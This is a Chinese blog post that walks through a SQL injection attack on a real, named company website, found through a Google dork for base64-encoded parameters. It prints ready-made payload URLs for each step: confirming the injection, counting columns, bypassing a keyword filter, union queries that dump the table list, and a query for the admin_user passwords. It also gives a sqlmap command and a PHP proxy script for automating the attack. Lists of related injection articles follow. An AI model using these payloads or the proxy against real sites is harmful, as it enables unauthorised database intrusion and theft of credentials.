先来写一下GET的知识点:


 1.知道了convart函数(CONVERT函数是把日期转换为新数据类型的通用函数)


2.Illegal mix of collations for operation 'UNION'的成因是因为编码的缘故字符集的编码不同所导致的,要解决就配合convart8、using latin1函数来解决。


3.不要一直死干,要学会用自己掌握的知识。写脚本


PS:这方法也是我从习科的《sql注入自学指南》上面get的新技能。虽然get的时间有些时间了。但一直未曾尝试。今天就来试试。

百度搜索关键词:inurl:php?aWQ9

#ps:没错你没看错,后面是base64编码了的。

随便打开了一个网站:http://www.samilsys.com/project_detail.php?aWQ9MTI=

00x1 判断注入


先把后面的解密得知正确的参数为:id=122

将id=12 and 1=1进行base64加密:aWQ9MTIgYW5kIDE9MQ==

那么构造好了的URL就该是这样的:http://www.samilsys.com/project_detail.php?aWQ9MTIgYW5kIDE9MQ==

如下图,并无任何变化。

然后在重新加密一次:id=12 and 1=2

加了之后URL为:http://www.samilsys.com/project_detail.php?aWQ9MTIgYW5kIDE9Mg==

可见标题消失了,由此可判断存在sql注入。

00x2 猜字段数


将“id=12 order by 10”进行base64加密后

http://www.samilsys.com/project_detail.php?aWQ9MTIgb3JkZXIgYnkgMTA=

爆出了project表

最终测试出来字段数等于8.

00x3 爆显示位


当我将id=-12 union select 1,2,3,4,5,6,7,8-- 加密成base64然后执行的时候union select被过滤成了-- 经过测试发现,大小写直接就可以绕过了。

00x3 收集信息9


配合concat函数。

 id=-12 UNION SELECT 1,2,3,4,5,6,7,concat(user(),0x7e,version(),0x7e,database())--

 http://www.samilsys.com/project_detail.php?aWQ9LTEyIFVOSU9OIFNFTEVDVCAxLDIsMyw0LDUsNiw3LGNvbmNhdCh1c2VyKCksMHg3ZSx2ZXJzaW9uKCksMHg3ZSxkYXRhYmFzZSgpKS0t

http://www.samilsys.com/project_detail.php?id=-12 UNION SELECT 1,2,3,4,5,6,7,table_Name from information_schema.tables Where table_schema=database()--

转换为边base64以后:http://www.samilsys.com/project_detail.php?aWQ9LTEyIFVOSU9OIFNFTEVDVCAxLDIsMyw0LDUsNiw3LHRhYmxlX05hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpLS0=

提示:Error: Illegal mix of collations for operation 'UNION'

蒙B中。后来经过米哥的指导,发现了这篇文章:http://www.2cto.com/article/201202/121073.html

http://www.samilsys.com/project_detail.php?id=-12 UNION SELECT 1,2,3,4,5,6,7,convert(Table_Name using latin1) from information_schema.tables Where table_Schema=database()--

如图所示爆出表明来了。

然后我使用group_concat爆出所有的数据来。

http://www.samilsys.com/project_detail.php?
id=-12 UNION SELECT 1,2,3,4,5,6,7,convert(group_concat(Table_Name) using latin1) from information_schema.tables Where table_Schema=database()--

以下是所有的表:


admin_log,admin_user,company_info,contact,download,download_type,news,product-,product_down-,product_type-,project,project_type,single_files

找到管理员表,admin_user。然后再读取列。

http://www.samilsys.com/project_detail.php?
aWQ9LTEyIFVOSU9OIFNFTEVDVCAxLDIsMyw0LDUsNiw3LHB3ZCBmcm9tIGFkbWluX3VzZXItLSA=

刚开始跑的时候我是sqlmap.py -u "http://www.xxxx.com/newinfo.php?aWQ9MTI="  -v 3 --batch --tamper "base64encode.py"(ps:这里的aWQ9MTI=是id=12是base64加密的)一直跑不出来。聪明的人可能一眼就知道错误之处。但是我略傻逼。惭愧惭愧。

00x4 sqlmap如何跑base64加密了的注入点。


后来一个热心的Royal学长这样指导我。

将以下demo保存为xishaonian.php

<?php
$id = base64_encode("id=".$_GET['id']);
echo file_get_contents("http://www.xxxx.com/project_detail.php?{$id}");
?>

sqlmap.py -u "http:///www.xxxx.com/project_detail.php?id=12" -v3 --dbs

就可以跑出来了。

手工确实累。谢谢Royal学长的热心指导哈。

俩个不容易的在一起了。也记下了我这次学习成果。

THE END


base64变形注入与联合查询注入的爱情故事的更多相关文章

  1. 记一次SQL联合查询注入工具的编写

    这是一个ASP网站的简单SQL注入检测和利用的工具,主要的功能是简单的检测出SQL注入漏洞,可以使用该id存在的SQL注入来获取数据库中的网站管理员的表名和字段名,猜解数据库中该表的字段数,最后通过联 ...

  2. MySQL手注之联合查询注入

    了解联合查询注入之前,先要了解一下什么是union? union是用于合并两个sql查询结果的语句. 要使用union 必须有相同的列数  必须有两条以上的select语句组成  列的数据类型必须兼容 ...

  3. SQL注入之堆叠注入(堆查询注入)

    Stached injection -- 堆叠注入 0x00 堆叠注入的定义 ​ Stacked injection 汉语翻译过来后,称 为堆查询注入,也有称之为堆叠注入.堆叠注入为攻击者提供了很多的 ...

  4. sql注入之双查询注入

    双查询注入前需要了解什么是子查询 子查询可以理解在一个select语句中再插入一个select 里面的select语句就是子查询 例子:select concat((select database() ...

  5. 网站SQL注入之数字型注入和字符型注入

    什么是SQL注入- (SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击.1,是一种将SQL语句插入或添加到应用(用户)的 ...

  6. baby sqli 联合查询加入数据 手工注入

    0x00 BabySQli 原题目描述:刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码! 登陆页面,查看源码后点进search.php看到一段可疑的句子MMZFM42 ...

  7. web安全之sql注入联合查询

    联合查询的条件: 有显示位.当然要有注入点!! 提前需要了解的函数: union可合并两个或多个select语句的结果集,前提是两个select必有相同列.且各列的数据类型也相同 distinct 去 ...

  8. 豹子安全-注入工具-疑问_MySQL_基于联合查询_按钮【获取基本信息】不能成功的解决方法。

    豹子安全-注入工具-疑问_MySQL_基于联合查询_按钮[获取基本信息]不能成功的解决方法. 网站: http://www.leosec.net 如下GIF影片所示:

  9. access注入 - 联合查询

    1.access数据库简介 简介:Microsoft Office Access是由微软发布的关系数据库管理系统.它结合了 MicrosoftJet Database Engine 和 图形用户界面两 ...

随机推荐

  1. java中构建同时兼容linux和windows程序时遇到的文件路径分割符问题解决方案

    最近在做一个自动上传文件的客户端,因为 file.getAbsolutePath()  在Mac和linux下的分割符是“/”,而在windows操作系统下的分割符则是“\”,我们程序中固然可以通过调 ...

  2. 获取jQuery版本号

    今天在一个页面需要知道jquery版本号,来决定使用什么样的方法,有以下方式可以获取到 $.fn.jquery $.prototype.jquery 这两种方式都可以获取到jquery的版本号

  3. Cognos清除本地高速缓存的利与弊

    场景:在开发报表初期,往往我们遇到过这种问题,我们手工修改了DB中的测试数据,但是返回报表看,数据还没有更新,难道是设计出问题了?NO,不要慌,这是因为Cognos为了查询效率设计了高速缓存的选项. ...

  4. VS选项中没有C#相关设置选项?

    在VS中,行号的设置在工具-选项-文本编辑器,可里面没有VS,我还以为是之前卸载了SP1后造成的. 原来是因为,VS默认环境设置的VB,选项对话框左下角有"显示所有设置"的复选框, ...

  5. npm发包流程

    1.注册npm 账号 https://www.npmjs.com/signup 2.初始化npm项目 npm init 根据发的包进行填写: { "name": "wen ...

  6. Python: Soft_max 分类器

    我们能够建立例如以下的loss function: Li=−log(pyi)=−log⎛⎝efyi∑jefj⎞⎠ L=1N∑iLi+12λ∑k∑lW2k,l 以下我们推导loss对W,b的偏导数,我们 ...

  7. Redhat 5禁止IPv6

    Redhat  5禁止IPv6 IPv6还没有全然普及,可是安装完系统之后IPv6是有效的,在一定程度上影响网络性能,所以在我们在全然不使用IPv6的情况下.最好关闭IPv6.如今我们就在本文以完整的 ...

  8. linux配置java环境变量(详细) [转]

    一. 解压安装jdk 在shell终端下进入jdk-6u14-linux-i586.bin文件所在目录, 执行命令 ./jdk-6u14-linux-i586.bin 这时会出现一段协议,连继敲回车, ...

  9. php回调函数call_user_func和call_user_func_array详解

    call_user_func($fun); call_user_func 函数类似于一种特别的调用函数的方法,使用方法如下: 1.调用 普通函数: <?php function a($b, $c ...

  10. Spring Cloud(九):分布式配置中心和消息总线

    我们在Spring Cloud(七):使用SVN存储分布式配置中心文件和实现refresh中讲到,如果需要客户端获取到最新的配置信息需要执行refresh,我们可以利用webhook的机制每次提交代码 ...